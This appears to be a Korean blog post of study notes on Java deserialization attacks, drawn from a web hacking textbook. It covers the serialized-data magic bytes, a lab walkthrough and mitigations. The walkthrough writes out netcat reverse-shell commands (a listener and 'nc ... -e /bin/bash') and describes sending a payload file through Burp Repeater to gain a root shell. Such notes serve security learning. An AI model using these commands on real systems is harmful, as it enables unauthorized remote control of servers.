자바 역직렬화 취약점 공격 개요
- 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정
- aced0005라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 매직 바이트임
자바 역직렬화 취약점 공격 실습
- 저장되어 있는 바이트 스트림을 다시 객체
- 전송되고 있는 파일의 타입을 통해 직렬화된 데이터를 발견
- 직화된 데이터가 있군
nc -lvnp 4000 |
- 서버로 실행해두기
nc 칼리리눅스 주소 4000 -e /bin/bash |
- nc 접속을 위한 명령문
- 원하는 명령어를 실행할 수 있는 공격 코드 만들기 위해서 공격코드를 reverse.bin 파일로 생성
- 다시 요청하기 위해 Repeater로 전송하고 파일의 바디 부분에서 paste from file을 선택한 뒤 좀 전에 만든 reverse.bin을 선택해줌
- id를 입력하면 root 사용자의 권한으로 쉘이 생성된 것을 확인할 수 있음
자바 역직렬화 취약점 공격 대응
- 일일히 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을 항상 최신 버전으로 유지할 것
- 역직렬화 전에 반드시 인증 과정 수행 or 격리된 환경에서 수행
- 출처를 알 수 없는 개체의 경우 역직렬화 수행x
- 직렬화된 객체에 디지털 서명을 하도록 하여 무결성 검증
해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.
'보안' 카테고리의 다른 글
Chapter 18. 실전 모의해킹 (1) | 2019.03.14 |
---|---|
Chapter 16. 알려진 취약점을 이용한 공격 (0) | 2019.03.14 |
Chapter 15. XXE 공격 (0) | 2019.03.14 |
Chapter 14. 접근 통제 취약점 공격 (0) | 2019.03.05 |
Chapter 13. 민감한 데이터 노출 (0) | 2019.03.04 |
댓글